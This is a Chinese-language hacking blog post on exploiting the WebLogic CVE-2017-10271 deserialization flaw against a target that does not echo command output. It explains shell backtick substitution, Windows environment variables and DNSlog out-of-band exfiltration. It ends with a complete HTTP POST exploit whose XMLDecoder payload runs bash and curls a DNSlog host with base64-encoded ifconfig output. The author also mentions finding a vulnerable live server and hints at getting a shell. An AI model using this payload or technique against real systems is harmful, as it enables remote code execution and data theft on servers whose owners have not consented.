利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
作者:Armyzer0
Weblogic(CVE-2017-10271) 漏洞出来以后又是一波血雨腥风,正好我昨天测试的时候发现了一个存在这个漏洞的weblogic,但是他不回显咋办呢!让他返回执行结果集到dnslong首先大家先了解下 “ 这个符号在Linux的作用!
符号:` `
名称:反引号,上分隔符
位置:反引号(`)这个字符一般在键盘的左上角,数字1的左边,不要将其同单引号(’)混淆
作用:反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分
` ` 里面的内容是当做命令来执行
还有一些其他符号也可以产生同样的效果我就不一一介绍了
然后我们在来说下Windows 下的
ping %COMPUTERNAME%.baidu.com [/size][/align] [align=left][size=3]%COMPUTERNAME% 是一个变量,得到计算机名[/size][/align] [align=left][size=3]%ALLUSERSPROFILE% : 列出所有用户Profile文件位置。 %APPDATA% : 列出应用程序数据的默认存放位置。 %CD% : 列出当前目录。 %CLIENTNAME% : 列出联接到终端服务会话时客户端的NETBIOS名。 %CMDCMDLINE% : 列出启动当前cmd.exe所使用的命令行。 %CMDEXTVERSION% : 命令出当前命令处理程序扩展版本号。 %CommonProgramFiles% : 列出了常用文件的文件夹路径。 %COMPUTERNAME% : 列出了计算机名。 %COMSPEC% : 列出了可执行命令外壳(命令处理程序)的路径。 %DATE% : 列出当前日期。 %ERRORLEVEL% : 列出了最近使用的命令的错误代码。 %HOMEDRIVE% : 列出与用户主目录所在的驱动器盘符。 %HOMEPATH% : 列出用户主目录的完整路径。 %HOMESHARE% : 列出用户共享主目录的网络路径。 %LOGONSEVER% : 列出有效的当前登录会话的域名控制器名。 %NUMBER_OF_PROCESSORS% : 列出了计算机安装的处理器数。 %OS% : 列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.) %Path% : 列出了可执行文件的搜索路径。 %PATHEXT% : 列出操作系统认为可被执行的文件扩展名。 %PROCESSOR_ARCHITECTURE% : 列出了处理器的芯片架构。 %PROCESSOR_IDENTFIER% : 列出了处理器的描述。 %PROCESSOR_LEVEL% : 列出了计算机的处理器的型号。 %PROCESSOR_REVISION% : 列出了处理器的修订号。 %ProgramFiles% : 列出了Program Files文件夹的路径。 %PROMPT% : 列出了当前命令解释器的命令提示设置。 %RANDOM% : 列出界于0 和 32767之间的随机十进制数。 %SESSIONNAME% : 列出连接到终端服务会话时的连接和会话名。 %SYSTEMDRIVE% : 列出了Windows启动目录所在驱动器。 %SYSTEMROOT% : 列出了Windows启动目录的位置。 %TEMP% and %TMP% : 列出了当前登录的用户可用应用程序的默认临时目录。 %TIME% : 列出当前时间。 %USERDOMAIN% : 列出了包含用户帐号的域的名字。 %USERNAME% : 列出当前登录的用户的名字。 %USERPROFILE% : 列出当前用户Profile文件位置。 %WINDIR% : 列出操作系统目录的位置。 [/size][/align][align=left][size=3]变量 类型 描述 %ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。 %APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 %CD% 本地 返回当前目录字符串。 %CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 %CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。 %COMPUTERNAME% 系统 返回计算机的名称。 %COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。 %DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。 %ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。 %HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。 %NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。 %OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 %PATH% 系统 指定可执行文件的搜索路径。 %PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 %PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 %PROCESSOR_IDENTFIER% 系统 返回处理器说明。 %PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。 %PROCESSOR_REVISION% 系统 返回处理器的版本号。 %PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 %RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 %SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。 %SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。 %TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 %TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。 %USERDOMAIN% 本地 返回包含用户帐户的域的名称。 %USERNAME% 本地 返回当前登录的用户的名称。 %USERPROFILE% 本地 返回当前用户的配置文件的位置。 %WINDIR% 系统 返回操作系统目录的位置。 %allusersprofile%--------------------所有用户的profile路径 %Userprofile%-----------------------当前用户的配置文件目录 %Appdata%--------------------------当前用户的应用程序路径 %commonprogramfiles%-------------应用程序公用的文件路径 %homedrive%------------------------当前用户的主盘 %Homepath%------------------------当前用户的主目录 %programfiles%----------------------应用程序的默认安装目录 %systemdrive%----------------------系统所在的盘符 %systemroot%-----------------------系统所在的目录 %windir%----------------------------同上,总是跟systemroot一样 %tmp%------------------------------当前用户的临时目录 %temp%-----------------------------同上临时目录[/size][/align][align=left][size=3]
这里给大家附上Windows下的变量大全:
至于dnslong 也在这里 小小的科普下
wiki:
NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析。 DNS:域名解析服务器。 A记录:指定域名对应的IP地址。
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
太多的介绍就不说,命令执行返回的结果显示搞定了,但是接来下碰到一个问题就是你执行
的命令有空格 DNslog 里面的会得到什么,
看到没有 只返回docker0:
这个 原有的内容是
这个时候 我们该如何是好,
教大家一个办法,把输出的内容base64以后在把空格换成-
然后查看dnslog
得到base64 但是觉得把-去除 然后解密 就可以了
在这里给出大家poc 实战
我就不发了 第一懒得搭环境,第二 怕菊花不保
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 Content-Type:text/xml Content-Length: 657 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>curl XXXX.dnslog.link/`ifconfig|base64|tr '\n' '-'`</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
好了 打完收工,至于什么getshell 呀 这些我就不说了 大神请开始你们的表演
技术有限 写错请勿喷我,但是你们可以打我!
>>>>>>黑客入门必备技能
带你入坑,和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩!